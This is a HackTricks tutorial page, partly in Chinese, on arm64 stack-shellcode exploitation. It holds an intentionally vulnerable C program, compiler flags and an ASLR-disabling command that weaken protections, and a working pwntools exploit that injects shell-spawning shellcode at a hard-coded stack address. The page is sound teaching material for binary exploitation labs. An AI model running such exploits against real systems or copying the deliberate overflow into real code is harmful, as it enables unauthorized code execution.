hacktricks/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md

Stack Shellcode - arm64

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有关 arm64 的介绍请参见：

{{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}}

Linux

代码

#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

在没有 pie、canary 和 nx 的情况下编译：

clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack

No ASLR & No canary - Stack Overflow

要停止 ASLR，请执行：

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

要获取 offset of the bof check this link。

Exploit:

from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).

我打开了生成的 core 文件 (gdb ./bog ./core)，并检查了 shellcode 起始位置的真实地址。

macOS

Tip

在 macOS 上无法禁用 NX，因为在 arm64 上这一模式由硬件级别实现，所以你不能禁用它，因此你不会在 macOS 中找到在 stack 上有 shellcode 的示例。

Check a macOS ret2win example in:

{{#ref}} ../ret2win/ret2win-arm64.md {{#endref}}

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